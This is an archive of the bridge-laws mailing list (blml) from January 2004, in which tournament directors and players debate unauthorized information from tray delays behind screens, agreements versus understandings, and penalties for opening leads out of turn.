>>>Thirdly it is impossible for information based on >>>prior experience to meet the requirement in 75a that it be "arise >>>from the calls, plays and conditions of the current deal." > >> >>I don't understand this one. Probably my fault. > > > Prior experience, and information derived therefrom is, I would have > thought fairly obviously, not related to the current deal. > I understand what all the words mean, I just don't fathom what this sentence brings to the discussion. > >>>Of course in reality the laws blur some of these distinctions and >>>some individual lawmakers wish they did not exist. Perhaps they will >>>not in the next laws (my own preference would be that the distinction >>>be clarified and the blurring removed). Until that happens we have >>>to try and work with the distinction we have. >>> >> >>Why? Please tell me in which law you would like to see a distinction >>being made between agreements and understandings. > > > In a nutshell make it clear to ZOs/SOs that while agreements may be > subject to regulation understandings may not (except regulations on > disclosure). For example I may understand that partner is prone to the > occasional 3rd in hand psych on a weak 4144 without that forming part of > my agreements and being treated as an illegal system. > Yes, I thought that was the distinction you were trying to make. Or anyone. But it does not hold water. If there is a regulation forbidding me to agree on 5-card weak twos, then IMO I cannot claim that we have agreed to open 6-cards, but have an understanding that we may put a club between our spades. That simply won't wash. It is not because I call something an understanding rather than an agreement that it is such a thing. Basically, what I am trying to say is that if we are not allowed to have an agreement to do something, then we cannot have an understanding either. And then to return to your example. You can have an agreement that 1He shows 13+ and 5-cards, and you can have an understanding that one partner sometimes also opens 1He on 4144 0-2, but those are not the same things. You may even have an "agreement" that 4144 0-2 is also opened 1He. The fact that a bid "shows" something and the fact that a player has a tendency to make the call with some other hands is not the same thing. And whether that fact, that knowledge is an agreement or an understanding does not change a bloody thing, IMO. > >>>>it simply means >>>>that "you must tell everything you know, regardless of how you know >> >>it >>(except if you deduce it from your own hand)". >> >>> >>>Really? What if you deduce it from AI given by opponent's mannerisms >>>or from previous bridge experience not shared with your current >>>partner, or from the auction up to that point? >>> >> >>Pardon me for using shorthand. > > > It didn't look like shorthand. It looked like a misrepresentation of law. > I accept you intended it as shorthand. > Thanks. > Tim > > -- Herman DE WAEL Antwerpen Belgium http://users.skynet.be/hermandw/index.html From hermandw@hdw.be Wed Jan 14 15:10:49 2004 From: hermandw@hdw.be (Herman De Wael) Date: Wed, 14 Jan 2004 16:10:49 +0100 Subject: [blml] A straightforward ruling In-Reply-To: References: Message-ID: <40055BF9.7060401@hdw.be> Sorry Tim, but what are you addressing here? Tim West-Meads wrote: > Not completely straightforward. > > >>The hesitation was of course attributable to South, and lasted the >>proverbial 3 minutes (one minute more likely). > > > Might I ask what redress is available to North if he assumes himself to be > under UI constraints, chooses an unsuccessful call, and it turns out the > the delay was caused by West (albeit for a legitimate bridge reason)? > Are you questioning the "of course" here? I may be wrong in ascribing the delay to South, but I doubt that. Or are you posing a totally different question? > If, as I suspect, the answer is "none" then it seems to me wholly unfair > that North should be under UI constraints when the source of the > hesitation is unknown. > There have been numerous occasions of rulings caused by hesitations behind screens. And I don't believe they were wrong or contested. Are you proposing that no such rulings are possible? > OTOH surely if North is supposed to assume the delay was caused by South > then so must East assume the delay was caused by West. I think the case speaks for itself. Surely the delay was caused by South. This is UI to North and AI to East. > Thus we must also > consider the logical alternatives available to West. This may not be an > issue in the specific case but in the general it should, perhaps, be > assumed that screens are always successful in preventing the transmission > of hesitation based UI. Do the screen regulations in force address this > issue? > In the sense that 30" is considered "normal", yes, they do. > Tim > -- Herman DE WAEL Antwerpen Belgium http://users.skynet.be/hermandw/index.html From twm@cix.co.uk Wed Jan 14 17:26:00 2004 From: twm@cix.co.uk (Tim West-Meads) Date: Wed, 14 Jan 2004 17:26 +0000 (GMT Standard Time) Subject: [blml] A straightforward ruling In-Reply-To: <40055BF9.7060401@hdw.be> Message-ID: > Sorry Tim, but what are you addressing here? > > Tim West-Meads wrote: > > > Not completely straightforward. > > > > > >>The hesitation was of course attributable to South, and lasted the > >>proverbial 3 minutes (one minute more likely). > > > > > > Might I ask what redress is available to North if he assumes himself > > to be under UI constraints, chooses an unsuccessful call, and it > > turns out the the delay was caused by West (albeit for a legitimate > > bridge reason)? > > > > Are you questioning the "of course" here? I may be wrong in ascribing > the delay to South, but I doubt that. No. But I assumed the "of course" was based on knowledge gained during the TD investigation and/or examination of the hands. > Or are you posing a totally different question? > > > If, as I suspect, the answer is "none" then it seems to me wholly > > unfair that North should be under UI constraints when the source of > > the hesitation is unknown. > > > > There have been numerous occasions of rulings caused by hesitations > behind screens. And I don't believe they were wrong or contested. > Are you proposing that no such rulings are possible? I am asking whether (or when) a player, behind screens, is obliged to consider that a delay in the return of the tray is UI from partner and what redress might be available if, under such an obligation, it turns out to have been his opponent who caused the delay. E.g. if players in the East position are permitted to delay the tray to prevent UI from a fast X (as I believe is permitted under some screen regulations) then there surely there is no UI from a delayed tray. > I think the case speaks for itself. Surely the delay was caused by > South. This is UI to North and AI to East. Looking at the four hands South appears to have more of a problem than West. However North was not looking at the four hands and I do not know why he is supposed to assume his partner was the source of the delay? Tim From twm@cix.co.uk Wed Jan 14 17:26:00 2004 From: twm@cix.co.uk (Tim West-Meads) Date: Wed, 14 Jan 2004 17:26 +0000 (GMT Standard Time) Subject: [blml] Can an agreement be non-reciprocal? In-Reply-To: <40055ADF.2010809@hdw.be> Message-ID: Herman wrote: > Maybe I was not clear in my first > posts, but try to remember where this started. My question was "why > should the distinction matter?". Someone was asking whether some piece > of "understanding/agreement" was an understanding or an agreement. No. He was asking whether it was a non reciprocal agreement, and did not provide sufficient information for us to judge. Specifically he did not tell us whether the two walruses had agreed to tolerate each-others' habits. Certainly it is possible to agree to have one partner play a weak NT with a 12-14 range and the other with an 11-14 range. Equally obviously this is a matter of agreeing to accommodate a difference of style rather than a difference of method. You assumed that Richard was asking about an MI matter, and I addressed some points in your reply. I think Richard was originally cultivating the ground about a law 40E interpretation and have only just addressed his original question (I may be wrong but it is often hard to tell where Richard is heading). > It is not because I call something an understanding rather than an > agreement that it is such a thing. I very much agree. It is a matter of whether the TD/AC *rules* it as being an understanding or an agreement. > Basically, what I am trying to say is that if we are not allowed to > have an agreement to do something, then we cannot have an > understanding either. Why not? It is quite possible for me to have an agreement that a weak 2 shows 6 cards while understanding that partner will occasionally show a 6 card suit when he has fewer and wants me to bid/play *as if* he has a 6 card suit even though I consider this poor tactics. This would obviously be legal if there was a regulation that one could not agree to play weak 2s as *showing* a 5 card suit (nb, I ignore for the moment that such a regulation would be illegal, I'll assume the regulation applies to a multi, or muiderberg, or something subject to such a regulation). Of course if subsequent actions by the partner appear inconsistent with the existence of a 6 card suit opposite I will happily rule it an illegal agreement rather than a legal understanding. > And then to return to your example. You can have an agreement that 1He > shows 13+ and 5-cards, and you can have an understanding that one > partner sometimes also opens 1He on 4144 0-2, but those are not the > same things. You may even have an "agreement" that 4144 0-2 is also > opened 1He. The fact that a bid "shows" something and the fact that a > player has a tendency to make the call with some other hands is not > the same thing. And whether that fact, that knowledge is an agreement > or an understanding does not change a bloody thing, IMO. It makes no difference as to disclosure. It makes a difference as to whether your ZO/SO can forbid the psyching of 1H. An understanding that partner might psych is not an understanding that *permits* partner to open on hands not within a king of average strength. An agreement that partner *will* psych on certain hand types is. Tim From gesta@tiscali.co.uk Thu Jan 15 07:33:24 2004 From: gesta@tiscali.co.uk (Grattan Endicott) Date: Thu, 15 Jan 2004 07:33:24 -0000 Subject: [blml] Can an agreement be non-reciprocal? References: <07961B05-456F-11D8-A0B6-0030656F6826@rochester.rr.com> Message-ID: <001001c3db3a$2638ab20$2f182850@multivisionoem> Grattan Endicott To: "blml" Sent: Tuesday, January 13, 2004 2:20 AM Subject: Re: [blml] Can an agreement be non-reciprocal? > > Agreement, not necessarily. Understanding, possibly. > +=+ Declare, if ..... *** +=+ From gesta@tiscali.co.uk Thu Jan 15 07:34:37 2004 From: gesta@tiscali.co.uk (Grattan Endicott) Date: Thu, 15 Jan 2004 07:34:37 -0000 Subject: [blml] Termagant (was Everybody run) References: <001101c3d96f$c0d2e5f0$6900a8c0@WINXP> Message-ID: <001101c3db3a$26e6c570$2f182850@multivisionoem> Grattan Endicott To: "blml" Sent: Tuesday, January 13, 2004 12:54 AM Subject: RE: [blml] Termagant (was Everybody run) Who determines whether there has been an irregularity at the table before the Director is called? According to your statement this must be decided so that the director is only called when there has indeed been an irregularity. Sven +=+ I see the draft in front of me refers to 'an apparent* irregularity'. Obviously the thought has crossed my mind sometime or other that among the fraternity of TDs there may be one somewhere who might decide to penalize a player because he was called with no irregularity present - or even a literalist player, Antipodean perhaps, who might appeal on grounds that the Director was summoned improperly. ~ G ~ +=+ * I do now recall that I had 'seeming irregularity' here but decided it might get translated into a 'pretended* irregularity' by some latter-day Shakespearean. From svenpran@online.no Thu Jan 15 08:34:13 2004 From: svenpran@online.no (Sven Pran) Date: Thu, 15 Jan 2004 09:34:13 +0100 Subject: [blml] Termagant (was Everybody run) In-Reply-To: <001101c3db3a$26e6c570$2f182850@multivisionoem> Message-ID: <000001c3db42$5afeac30$6900a8c0@WINXP> > Grattan Endicott > ----- Original Message ----- > From: "Sven Pran" > Who determines whether there has been an irregularity > at the table before the Director is called? According to > your statement this must be decided so that the director > is only called when there has indeed been an irregularity. ( "your" in this statement did not refer to Grattan! ) > +=+ I see the draft in front of me refers to 'an > apparent* irregularity'. Obviously the thought has > crossed my mind sometime or other that among > the fraternity of TDs there may be one somewhere > who might decide to penalize a player because he was > called with no irregularity present - or even a literalist > player, Antipodean perhaps, who might appeal on > grounds that the Director was summoned improperly. > ~ G ~ +=+ > * I do now recall that I had 'seeming irregularity' here > but decided it might get translated into a 'pretended* > irregularity' by some latter-day Shakespearean. Interesting. Personally I have absolutely no problem with Law 9 as it is, but as the question has been raised; would the clause "suspected irregularity" be in order in Law 9? (At first I thought of "alleged irregularity" but I feel that "suspected" is more accurate. Maybe "assumed" is even better?). Regards Sven From gesta@tiscali.co.uk Thu Jan 15 10:50:39 2004 From: gesta@tiscali.co.uk (Grattan Endicott) Date: Thu, 15 Jan 2004 10:50:39 -0000 Subject: [blml] A straightforward ruling References: Message-ID: <003901c3db55$a5e97730$2f182850@multivisionoem> Grattan Endicott To: Sent: Wednesday, January 14, 2004 5:26 PM Subject: Re: [blml] A straightforward ruling > > > ------------- \x/ ------------- > > > Might I ask what redress is available to North > > > if he assumes himself to be under UI constraints, > > > chooses an unsuccessful call, and it turns out the > > > delay was caused by West (albeit for a legitimate > > > bridge reason)? > > > ------------- \x/ -------------- > > > > > > If, as I suspect, the answer is "none" then it seems > > > to me wholly unfair that North should be under > > > UI constraints when the source of the hesitation is > > > unknown. > > > +=+ Perhaps he *is* under UI constraints, and fairly so. Information from an unidentified source - is it 'extraneous'? Is it proper to allow it to affect the player's action? It seems to me that, although on some numbers of occasions the source of a delay may be shrewdly guessed, behind screens, it is never an absolute certainty why return of the tray has been delayed. Information from the delay is therefore dubiously ascribed and to be regarded as extraneous information, received not 'accidentally' (Law 16B) but rather, one could suggest, 'incidentally'. It does not derive from 'legal calls and plays', nor can it be said to have been inferred from a mannerism of an opponent - no such mannerism has been observed. It would appear that the laws do not admit the information as 'authorized', regardless of a player's assumptions as to its cause, and such is my opinion. A player has no legal basis to infer or assume what is not present in the information the laws declare to be authorized. Thus I would say that no matter what the cause of the slow return of the tray, the player may not base a call or play on information he infers from the delay - and it is not relevant in this how the delay was in fact occasioned. ~ Grattan ~ +=+ From svenpran@online.no Thu Jan 15 11:15:36 2004 From: svenpran@online.no (Sven Pran) Date: Thu, 15 Jan 2004 12:15:36 +0100 Subject: [blml] A straightforward ruling In-Reply-To: <003901c3db55$a5e97730$2f182850@multivisionoem> Message-ID: <000001c3db58$e6e70290$6900a8c0@WINXP> > Thus I would say that no matter what the cause of the > slow return of the tray, the player may not base a call or play > on information he infers from the delay - and it is not relevant > in this how the delay was in fact occasioned. > ~ Grattan ~ +=3D+ May I recall from my memory the famous(?) championship incident some = years ago (at Reykjavik, Iceland?) where a board was played out in the = lavatory? On his way to a contract for small slam one player needed a visit to the men's room and the opponent on his side of the screen took the = opportunity and joined him. There they exchanged some more information on the auction and the = declarer (to become) said he would land in a small slam which would be cold, and = even result in an overtrick (on a squeeze) if this opponent rather than his partner held a certain card. (He also explained why). The opponent said = he would lead his so and so card, would that make any problem for the play = to which the declarer said no, not at all.=20 Back at the table where the other two players sat somewhat puzzled, = waiting for the return of the tray, the auction was now quickly completed, the opening lead made and declarer asked his opponent: "Are you squeezed"?=20 On the reply "no" they just returned their cards to the pockets and = noted small slam just made - faced by their bewildered partners! One should never assume anything on what (or why something) is happening = at the other side of the screen! Regards Sven From Robin.Barker@npl.co.uk Thu Jan 15 11:53:45 2004 From: Robin.Barker@npl.co.uk (Robin Barker) Date: Thu, 15 Jan 2004 11:53:45 -0000 Subject: [blml] Is giving UI UI? Message-ID: <533D273D4014D411AB1D00062938C4D904046792@hotel.npl.co.uk> This may not be a good example but what the ****. 10/E/All 7 MP pairs A5 KJ952 A9862 KJ865 AQT43 K62 98 T4 Q873 KQ3 T7 92 QJT743 A6 J54 W N E S 2D* P 2H* P 2S* P P 2NT P 3C 3S P P 4H 4S 5C P 5H P P P 2D/2H/2S was a multi-2D sequence. South looked unhappy when she bid 3C, West asked "is that you meant to bid" (intending to give South the opportunity to correct a mechanical error), and South said "no it's not, but I'm not going to change it". South knows when she bids 4H that North has UI from her statement "no it's not [what I meant to bid]" that suggests she may not have clubs, and so North may be required to give preference to 5C. Can she use the information that she has given UI in choosing to pass instead of bidding 4H, or is her giving of UI UI itself? If 4H and pass are LAs at that turn, is she required to bid 4H because of her own UI? You may like to comments on North's L16 obligations in the following positions: on the actual auction, after 4H-(4S)-? on the same auction, except 4H-(P)-? on the actual auction, after 5H-(P)-? Robin ------------------------------------------------------------------- This e-mail and any attachments may contain confidential and/or privileged material; it is for the intended addressee(s) only. If you are not a named addressee, you must not use, retain or disclose such information. NPL Management Ltd cannot guarantee that the e-mail or any attachments are free from viruses. NPL Management Ltd. Registered in England and Wales. No: 2937881 Registered Office: Teddington, Middlesex, United Kingdom TW11 0LW. ------------------------------------------------------------------- From t.kooyman@worldonline.nl Thu Jan 15 15:11:46 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Thu, 15 Jan 2004 16:11:46 +0100 Subject: [blml] A straightforward ruling References: <000001c3db58$e6e70290$6900a8c0@WINXP> Message-ID: <006d01c3db79$e99d6d00$62f8f0c3@LNV> One should never assume anything on what (or why something) is happening at the other side of the screen! Regards Sven ****We agree, but this advice doesn't solve the problem we are discussing. ****ton From t.kooyman@worldonline.nl Thu Jan 15 15:09:16 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Thu, 15 Jan 2004 16:09:16 +0100 Subject: [blml] A straightforward ruling References: <003901c3db55$a5e97730$2f182850@multivisionoem> Message-ID: <006c01c3db79$e9835550$62f8f0c3@LNV> > +=+ Perhaps he *is* under UI constraints, and fairly so. > Information from an unidentified source - is it 'extraneous'? > Is it proper to allow it to affect the player's action? > It seems to me that, although on some numbers of > occasions the source of a delay may be shrewdly guessed, > behind screens, it is never an absolute certainty why return > of the tray has been delayed. Information from the delay is > therefore dubiously ascribed and to be regarded as extraneous > information, received not 'accidentally' (Law 16B) but rather, > one could suggest, 'incidentally'. It does not derive from > 'legal calls and plays', nor can it be said to have been inferred > from a mannerism of an opponent - no such mannerism has > been observed. It would appear that the laws do not admit > the information as 'authorized', regardless of a player's > assumptions as to its cause, and such is my opinion. A player > has no legal basis to infer or assume what is not present in the > information the laws declare to be authorized. > Thus I would say that no matter what the cause of the > slow return of the tray, the player may not base a call or play > on information he infers from the delay - and it is not relevant > in this how the delay was in fact occasioned. > ~ Grattan ~ +=+ We have disagreed before, but this one seems to be an important one. The question arose before and I don't have a clear answer, but I do think that your's has a serious flaw. "regardless of a player's assumption to its cause' you say and you use laws to support your opinion. But L16 is quite clear in this respect: We need a player giving HIS PARTNER extraneous information to be able to say that a call might be suggested. And some other phrases are so Grattanian that though they might be true they don't help that much: I have some problems understanding: 'has no legal basis to infer or assume that what is not present in the information the laws declare to be authorized'. This sounds like an empty sample for which there is no difference between authorized and unauthorized., it doesn't carry information. And it is true that: 'the player may not base a call or play on information he infers from the delay'. But when the player tells that he didn't infer any information from the delay' because he couldn't imagine it was his partner who thought for a while? We can't just ignore that statement. How can you say that 'it is not relevant how the delay was in fact occasioned'. Opponents may use delays to prevent a pair reaching a favorable contract then? Are we in the same game? This problem seems unsolvable and my advise to players is to ignore all hesitations at the other side of the screen. We have an EBL TD-course in a couple of weeks. Is there a reason to have a lecture on hesitations behind screens? ton From Laval_Dubreuil@uqss.uquebec.ca Thu Jan 15 15:20:28 2004 From: Laval_Dubreuil@uqss.uquebec.ca (Laval Dubreuil) Date: Thu, 15 Jan 2004 10:20:28 -0500 Subject: TR: [blml] 2 out of turn opening leads Message-ID: > This is what I ruled (CA stay in hand, but you have new options). > Afterward, I was not sure I if should have put back CA on table and > give 10 options to declarer, taking CA and HQ into account. > > Laval Du Breuil >____________________________________________________ +=+ West still retains the lead so the prohibition on a club lead remains; additionally declarer may exercise his options in relation to the second opening lead OOT. ~ Grattan ~ +=+ __________________________________________________________ This time, declarer selected "no Clubs" and AC was already back in hand. I understand that, after the 2nd LOOT (HQ), he can choose "no H" or Lead H". But can he now ask for a Club lead ? Or say "lead anything" (club A remaining in hand?) If he had say "lead Club" (CA in hand). Can he now select "lead H". (club A remaining in hand?). Not so clear for me though many anwers. Laval Du Breuil From hermandw@hdw.be Thu Jan 15 16:26:21 2004 From: hermandw@hdw.be (Herman De Wael) Date: Thu, 15 Jan 2004 17:26:21 +0100 Subject: [blml] A straightforward ruling In-Reply-To: <006c01c3db79$e9835550$62f8f0c3@LNV> References: <003901c3db55$a5e97730$2f182850@multivisionoem> <006c01c3db79$e9835550$62f8f0c3@LNV> Message-ID: <4006BF2D.10803@hdw.be> Ton Kooijman wrote: > > We have an EBL TD-course in a couple of weeks. Is there a reason to have a > lecture on hesitations behind screens? > I would have imagined that lecture was already on the agenda? Anyway, I'll be there! -- Herman DE WAEL Antwerpen Belgium http://users.skynet.be/hermandw/index.html From svenpran@online.no Thu Jan 15 17:37:55 2004 From: svenpran@online.no (Sven Pran) Date: Thu, 15 Jan 2004 18:37:55 +0100 Subject: [blml] 2 out of turn opening leads In-Reply-To: Message-ID: <000001c3db8e$4f653e60$6900a8c0@WINXP> > Laval Dubreuil > +=3D+ West still retains the lead so the prohibition > on a club lead remains; additionally declarer may > exercise his options in relation to the second > opening lead OOT. ~ Grattan ~ +=3D+ > __________________________________________________________ >=20 > This time, declarer selected "no Clubs" and AC was already back > in hand. I understand that, after the 2nd LOOT (HQ), he can choose > "no H" or Lead H". > But can he now ask for a Club lead ?=20 NO! - declarer can only request or deny a lead in a suit where the = partner has a major penalty card. When the first occurrence was penalized with a = "No club lead" penalty the AC ceased to be a penalty card (but the penalty remains in force until another player has had the lead). Or say "lead anything" Yes, and the HQ remains a major penalty card (The AC is "history", = forget all about it) > (club A remaining in hand?) >=20 > If he had say "lead Club" (CA in hand). Can he now select "lead H". This is essentially a question on whether declarer is bound by his = selection among the penalty options available for the first irregularity when = another irregularity is made before that (first) penalty has actually been = executed. That question is not directly answered in the laws but I find it = unthinkable to deny declarer the right to alter his eventual penalty to "Play a = heart" after the second irregularity. This is obvious to me inasmuch as he = still (beyond doubt) has the option to accept the incorrect lead of the HQ (as = a correct lead). Regards Sven From grandeval@vejez.fsnet.co.uk Thu Jan 15 19:56:01 2004 From: grandeval@vejez.fsnet.co.uk (grandeval) Date: Thu, 15 Jan 2004 19:56:01 -0000 Subject: [blml] A straightforward ruling References: <003901c3db55$a5e97730$2f182850@multivisionoem> <006c01c3db79$e9835550$62f8f0c3@LNV> Message-ID: <003b01c3dba1$fb64a300$233187d9@4nrw70j> Grattan Endicott To: "Grattan Endicott" ; "blml" Sent: Thursday, January 15, 2004 3:09 PM Subject: Re: [blml] A straightforward ruling > > We have disagreed before, but this one seems to be > an important one. The question arose before and I don't > have a clear answer, but I do think that yours has a > serious flaw. "regardless of a player's assumption to > its cause' you say and you use laws to support your > opinion. But L16 is quite clear in this respect: > We need a player giving HIS PARTNER extraneous > information to be able to say that a call might be > suggested. << +=+ I do not see where it is that you have specified the law reference that authorizes the use of information that derives from the fact that the return of the tray is slow. The law does say that "players are authorized to base their calls and plays on information from legal calls and plays, and from mannerisms of opponents" but none of these is present in the question under discussion. To use information that the Law does not authorize to be used is unlawful. (WBFLC item 8, 24 Aug 98). So we need an authorization from a law or regulation if we are to base a call upon information derived from the slow return of a tray due to uncertain cause. If we do not find such an authorization then we have an irregularity and, since Law 16 does not tell us what to do in such circumstances, it may well be a Law 12A1 or 84E case. It is, however, wholly wrong in law to say that we need the extraneous information to come from partner in order to say that it suggests an action. If information suggests an action we need it to come from partner in order to apply Law 16A, just as we apply 16 B when it comes accidentally from another source, and 16D when it comes from a withdrawn action. But none of these paragraphs applies, so rectification is not by any of these routes. That does not mean that the information does not suggest an action nor does it make it lawful to base a call on the supposed information. So, unless somewhere in the laws and regulations we can find the statement that makes it authorized information, we are left to deal with an infraction under 12A1 or 84E. Of course there may be an argument that the slow return of the tray conveys no information, even though the player has relied upon his perception of the slow return in choosing his call. But the player's intention is to break the law, is it not? - by the use of information he has construed from the delayed return. ~ Grattan ~ +=+ From twm@cix.co.uk Thu Jan 15 22:59:00 2004 From: twm@cix.co.uk (Tim West-Meads) Date: Thu, 15 Jan 2004 22:59 +0000 (GMT Standard Time) Subject: [blml] A straightforward ruling In-Reply-To: <003b01c3dba1$fb64a300$233187d9@4nrw70j> Message-ID: Grattan wrote: Much that left me unenlightened finishing with. > But the player's intention is to break > the law, is it not? - by the use of information he has > construed from the delayed return. We seem to be on firm ground that we have information that the tray was slow. This, of itself, does not seem to suggest any particular action and indeed may not be attributable to partner. On that basis surely I can bid my hand as I see fit and not worry about what is/isn't suggested by the UI. How does this equate to an intention to break the law? If we are saying that the slow return of the tray is "extraneous" and covered by L16b then I should summon the TD and he will tell me what to do. I guess that is what I am obliged to do, seems strange is all. Tim From ereppert@rochester.rr.com Fri Jan 16 00:11:26 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Thu, 15 Jan 2004 19:11:26 -0500 Subject: [blml] A straightforward ruling In-Reply-To: <003901c3db55$a5e97730$2f182850@multivisionoem> Message-ID: <86B9909D-47B8-11D8-A519-0030656F6826@rochester.rr.com> On Thursday, Jan 15, 2004, at 05:50 US/Eastern, Grattan Endicott wrote: > Thus I would say that no matter what the cause of the > slow return of the tray, the player may not base a call or play > on information he infers from the delay - and it is not relevant > in this how the delay was in fact occasioned. OTOH, while it is certainly reasonable, logically, to infer things about partner's hand from partner's *known* break in tempo, it seems to me irrational to infer things about partner's hand from a tempo break whose source is unknown. It is common to say, without screens, "there was a break in tempo, and the partner of the player who broke tempo then took an action which could have been based on that break" and so to adjust the score. But I'm not so sure it's legitimate to do so when the break occurred behind screens. If TPTB decide that it *is* legitimate, then why have screens at all? From ereppert@rochester.rr.com Fri Jan 16 00:18:56 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Thu, 15 Jan 2004 19:18:56 -0500 Subject: [blml] A straightforward ruling In-Reply-To: <003b01c3dba1$fb64a300$233187d9@4nrw70j> Message-ID: <92FF8C30-47B9-11D8-A519-0030656F6826@rochester.rr.com> On Thursday, Jan 15, 2004, at 14:56 US/Eastern, grandeval wrote: > But the player's intention is to break > the law, is it not? - by the use of information he has > construed from the delayed return. If the player's intention is to break the law, then his offense is much more serious than mere use of UI. Should he not be branded a cheat, and banned from further play? No? Why not? From ereppert@rochester.rr.com Fri Jan 16 00:23:59 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Thu, 15 Jan 2004 19:23:59 -0500 Subject: [blml] 2 out of turn opening leads In-Reply-To: <000001c3db8e$4f653e60$6900a8c0@WINXP> Message-ID: <476B692C-47BA-11D8-A519-0030656F6826@rochester.rr.com> On Thursday, Jan 15, 2004, at 12:37 US/Eastern, Sven Pran wrote: > This is essentially a question on whether declarer is bound by his > selection > among the penalty options available for the first irregularity when > another > irregularity is made before that (first) penalty has actually been > executed. Declarer is not, but I submit that leader is. He has been allowed to put the CA back in his hand with the understanding that he may not lead a club. The second irregularity does not obviate that understanding. If declarer says "lead anything," then, it must be understood as "anything except a club". From blml@blakjak.com Fri Jan 16 01:03:33 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 16 Jan 2004 01:03:33 +0000 Subject: [blml] 2 out of turn opening leads In-Reply-To: <000001c3db8e$4f653e60$6900a8c0@WINXP> References: <000001c3db8e$4f653e60$6900a8c0@WINXP> Message-ID: Sven Pran wrote >This is essentially a question on whether declarer is bound by his selection >among the penalty options available for the first irregularity when another >irregularity is made before that (first) penalty has actually been executed. There is an irregularity: there is a ruling: there is a penalty applied. Nothing in the Laws suggests that this can ever be changed now assuming the Law was correctly applied. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From cyaxares@lineone.net Fri Jan 16 01:28:41 2004 From: cyaxares@lineone.net (Grattan Endicott) Date: Fri, 16 Jan 2004 01:28:41 -0000 Subject: [blml] A straightforward ruling References: <92FF8C30-47B9-11D8-A519-0030656F6826@rochester.rr.com> Message-ID: <000301c3dbd0$44b774a0$0630e150@endicott> Grattan Endicott To: "blml" Sent: Friday, January 16, 2004 12:18 AM Subject: Re: [blml] A straightforward ruling > > On Thursday, Jan 15, 2004, at 14:56 US/Eastern, grandeval wrote: > > > But the player's intention is to break > > the law, is it not? - by the use of information > > he has construed from the delayed return. > > If the player's intention is to break the law, then > his offense is much more serious than mere use > of UI. Should he not be branded a cheat, and > banned from further play? No? Why not? > +=+ I have stopped short merely because one must know the quality of the evidence on which the Director has to rule. I was responding to the general hypothesis that was predicated. ~ G ~ +=+ From svenpran@online.no Fri Jan 16 08:04:55 2004 From: svenpran@online.no (Sven Pran) Date: Fri, 16 Jan 2004 09:04:55 +0100 Subject: [blml] 2 out of turn opening leads In-Reply-To: <476B692C-47BA-11D8-A519-0030656F6826@rochester.rr.com> Message-ID: <000001c3dc07$6d97e9e0$6900a8c0@WINXP> Ed Reppert > Sven Pran wrote: > > > This is essentially a question on whether declarer is bound by > > his selection among the penalty options available for the first > > irregularity when another irregularity is made before that > > (first) penalty has actually been executed. > > Declarer is not, but I submit that leader is. He has been allowed > to put the CA back in his hand with the understanding that he may > not lead a club. The second irregularity does not obviate that > understanding. If declarer says "lead anything," then, it must be > understood as "anything except a club". Sure, and so I did indeed indicate. (But it is not the leader who put the CA back in his hand, it is his partner. You better keep track on who is who in order not to mix up the story). Regards Sven From svenpran@online.no Fri Jan 16 08:28:33 2004 From: svenpran@online.no (Sven Pran) Date: Fri, 16 Jan 2004 09:28:33 +0100 Subject: [blml] 2 out of turn opening leads In-Reply-To: Message-ID: <000001c3dc0a$baddfd40$6900a8c0@WINXP> > David Stevenson > Sven Pran wrote >=20 > >This is essentially a question on whether declarer is bound by=20 > >his selection among the penalty options available for the first > >irregularity when another irregularity is made before that=20 > >(first) penalty has actually been executed. >=20 > There is an irregularity: there is a ruling: there is a penalty > applied. Nothing in the Laws suggests that this can ever be changed=20 > now assuming the Law was correctly applied. I don't understand your point? Nobody (that I am aware of) has disputed this. The question is which alternatives are open for NOS when a second irregularity is made after the penalty for the first irregularity is stipulated (selected) but before it is "applied"? The significance of this question became apparent from the following possible scenario: 1: RHO makes an opening lead out of turn with the Ace of clubs. 2: Declarer requests a club lead from the correct defender LHO. 3: RHO takes back his AC, but then leads the QH before LHO makes his = opening lead (with a club as requested). (And I stipulate that things happen in a way so that we can exclude any question of TD error). May declarer now request an opening lead with a Heart from LHO or is he (declarer) still bound by his original request for a club lead?=20 The laws do not give any direct answer to this question but it seems = obvious to me that declarer must have this option available. A practical example could be that the main interest of the declarer is = to avoid (say) a spade lead, but when given the opportunity he prefers a = heart lead rather than a club lead. Sven From t.kooyman@worldonline.nl Fri Jan 16 08:58:08 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Fri, 16 Jan 2004 09:58:08 +0100 Subject: Fw: [blml] A straightforward ruling Message-ID: <005101c3dc0e$df959180$d7faf1c3@LNV> Grattan: > > > > The law does say that "players are authorized to > > > base their calls and plays on information from legal calls > > > and plays, and from mannerisms of opponents" but none > > > of these is present in the question under discussion. To > > > use information that the Law does not authorize to be > > > used is unlawful. (WBFLC item 8, 24 Aug 98). So we need > > > an authorization from a law or regulation if we are to base > > > a call upon information derived from the slow return of a > > > tray due to uncertain cause. If we do not find such an > > > authorization then we have an irregularity and, since Law > > > 16 does not tell us what to do in such circumstances, it > > > may well be a Law 12A1 or 84E case. It is, however, wholly > > > wrong in law to say that we need the extraneous information > > > to come from partner in order to say that it suggests an > > > action. If information suggests an action we need it to > > > come from partner in order to apply Law 16A, just as we > > > apply 16 B when it comes accidentally from another source, > > > and 16D when it comes from a withdrawn action. But none of > > > these paragraphs applies, so rectification is not by any of > > > these routes. That does not mean that the information does not > > > suggest an action nor does it make it lawful to base a call on > > > the supposed information. So, unless somewhere in the laws > > > and regulations we can find the statement that makes it > > > authorized information, we are left to deal with an infraction > > > under 12A1 or 84E. > > > Of course there may be an argument that the slow > > > return of the tray conveys no information, even though the > > > player has relied upon his perception of the slow return > > > in choosing his call. But the player's intention is to break > > > the law, is it not? - by the use of information he has > > > construed from the delayed return. > > > ~ Grattan ~ +=+ > > What I thought to have understood from your previous message is confirmed > > and leads to the conclusion that we don't agree. > > > > The problem with your sentences is that they are so generally written that > > some > > of it might be true under some circumstances. Why for example are you > > saying: > > 'but the player's intention is to break the law, is it not?' That is not in > > my script. > > So let us be more concrete: > > > > Are you saying that the TD will assign an adjusted score if a player > > makes a call when there is a less succesful logical alternative and the tray > > has stayed at the other side of the screen for a long time, without his > > partner having caused that delay? > > > > 